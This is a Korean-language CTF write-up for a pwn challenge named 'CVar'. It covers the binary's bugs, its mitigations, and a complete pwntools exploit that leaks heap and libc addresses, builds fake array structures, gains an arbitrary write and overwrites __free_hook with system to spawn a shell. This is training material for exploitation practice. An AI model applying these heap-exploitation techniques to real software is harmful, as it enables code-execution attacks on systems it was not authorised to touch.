CVar


문제 진짜 분석하기도 어렵고 풀기도 어렵고 진짜 이름값한다 최적화 한 문제도 아닌데 최적화 한 것 마냥 분석도 어렵고… 암튼 풀었으니 write-up을 써야겠다.

Mitigation


  • Relro : Full Rerlo
  • Stack : Canary
  • NX : NX enable
  • PIE : PIE enable

풀 미티게이션이 걸려있다. 사실 이게 큰 난관은 아니다. libc leak 할 때도 그렇고 뭐…
pie랑 relro가 꺼져있었다면 좀 더 쉬웠을지도 모르겠지만 미티게이션은 크게 상관 없을듯.

Analyzing


CTF때라면 취약점만 있는 부분 대충 찾으려 했겠지만 시간도 많이 있고,
타임어택식으로 문제 푸는 걸 싫어해서 전부 다 분석했다. 그래서 분석하는데 대충 6시간 넘게 걸린 것 같다.

Intro


  1. 배열, 정수(int)타입, string타입 이렇게 구현.
  2. int 타입 변수에 string 타입 변수를 넣어주면 type check하는 값을 안 바꿔줌.
  3. array 만들 때 next array를 가르키는 부분을 0으로 초기화 하지 않음 -> uaf로 주작 가능

대충 이 세 개만 알고 풀면 되는데 3번째 저 취약점 찾는게 은근 어려웠다. 결국 손퍼징으로 찾아냄 ㅎㅋㅋ

CVar type unchange

이 부분이 대충 int형 변수에다가 string변수 집어넣을 때 type 안 바꿔주는 곳이고.

Uninitialized_pointer

이 부부분이 next array 초기화 안 해주는 부분인데 음 그렇다 분석하기 진짜 어려웠다.

Scenario


취약점 세 가지를 찾아낸 후에도 exploit 시나리오 생각하는데도 큰 시간을 쏟았다. 아직 부족함 천지인듯.

Heap leak


  1. var a = 1 같이 걍 int형 변수 선언
  2. var b = “” 같이 string형 변수 선언
  3. a = b로 값 넣어주면 b의 문자열 주솟값이 숫자 적히는 곳에 적힘
  4. 근데 a변수의 type은 int형 그대로 남아있어서 주솟값이 leak됨 (heap leak)

Libc leak


  1. string을 겁나 크게 만들어주면서 Fake array를 생성함
  2. string free하고 unsorted bin 보냄
  3. 다시 array 생성하면 fake array를 따라가면서 libc leak

Exploit


  1. 다 leak했으면 이전에 free된 힙들 다 할당해서 공간 메꿔줌
  2. 다시 string변수로 Fake array 생성
  3. free하지 않고 다른 string들 더 생성
  4. fake array쪽에서 oob? 같은 느낌으로 다른 청크들 덮을 수 있음
  5. string들의 len을 덮어서 aaw 만들고 free hook -> system
  6. /bin/sh이라는 이름의 변수 지워주면 shell

시나리오는 대충 이런 느낌이었던 것 같다.

solve.py

from pwn import *

e = ELF('./CVar')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(e.path)

sla = p.sendlineafter
sa = p.sendafter
num_type = 0x440
str_type = 0x4a0
arr_element_type = 0x650
fake = 0x740
name = 0x5d0
str_fake = 0x780
lib = 0x710

delete = lambda name:sla('> ', 'delete ' + name)
view = lambda name:sla('> ', name)
assign = lambda name1, name2:sla('> ', '{0}={1}'.format(name1, name2))

def new_var(name, val, mode):

    if mode == 'str':
        sla('> ', 'var {0}="{1}"'.format(name, val))

    elif mode == 'num':
        sla('> ', 'var {0}={1}'.format(name, val))

    elif mode == 'array':
        sla('> ', 'var {0}=new array{1}'.format(name, val))

def array_assign(name, dimen, val, mode):
    if mode == 'num':
        sla('> ', '{0}{1}={2}'.format(name,dimen,val))

    elif mode == 'str':
        sla('> ', '{0}{1}="{2}"'.format(name, dimen, val))


new_var('/bin/sh', 1234, 'num')
new_var('b', 'ipwnipwnipwn', 'str')
assign('/bin/sh', 'b')
view('/bin/sh')
p.recvuntil('/bin/sh[')
heap_base = int(p.recvuntil(']')[:-1]) - 0x590
log.info('heap : 0x%x'%heap_base)

num_type += heap_base
str_type += heap_base
arr_element_type += heap_base
fake += heap_base
name += heap_base
str_fake += heap_base
lib += heap_base

fake_arr = ''.ljust(0x70, '\x00')
fake_arr += p64(fake)
fake_arr = fake_arr.ljust(0x130, '\x00')
fake_arr += p64(arr_element_type) + p64(0x1) + p64(0) + p64(str_fake)
fake_arr = fake_arr.ljust(0x170, '\x00')
fake_arr += p64(str_type) + p64(name) + p64(lib) + p64(8)
fake_arr = fake_arr.ljust(0x200, '\x00')

new_var('c', fake_arr, 'str') 
delete('c')
new_var('d', '[1][4]', 'array')

view('d')
p.recvuntil('d[')
libc_base = u64(p.recv(6) + '\x00\x00') - 0x3c4b78
system = libc_base + libc.sym['system']
target = libc_base + 0x3c67a8
log.info('libc_base : 0x%x'%libc_base)

for i in range(8):
    view('/bin/sh')

fake_arr = p64(arr_element_type) + p64(0x10009) + p64(0)

new_var('e', fake_arr, 'str')
fake = 0x8d0 + heap_base

new_var('f', 'ipwn', 'str')
new_var('g', 'ipwn', 'str')

new_var('h', '\x00'*0x70 + p64(fake) + '\x00'*0x188, 'str')
delete('h')
new_var('i', '[1][4]', 'array')
array_assign('i', '[0][0][6]', 'ipwn', 'str')

pay = p64(heap_base + 0x650) + p64(0x10009)
pay += p64(0)*3 + p64(0x31)
pay += p64(heap_base + 0x890) + p64(heap_base + 0x8b0)
pay += p64(target) + p64(0xffff)

assign('e', '"' + pay + '"')
assign('e', '"' + p64(system) + '"')

delete('/bin/sh')
p.interactive()

후기


풀면서 진짜 화나면서 재밌게 …ㅎㅎ…. 풀었다 이제 조금이나마 분석 실력이 늘지 않을까 ?? ㅎㅎ 딱히 힙트릭이 있던 것도 아니고 걍 분석 잘 해서 힙 어떻게 되는지만 잘 알아내면 되는 문제였다! 그런 걸 생각해보면 꽤나 오래 잡은 문제인듯

바이너리는 허락 맡고 업로드합니다 ㅎㅎ
CVar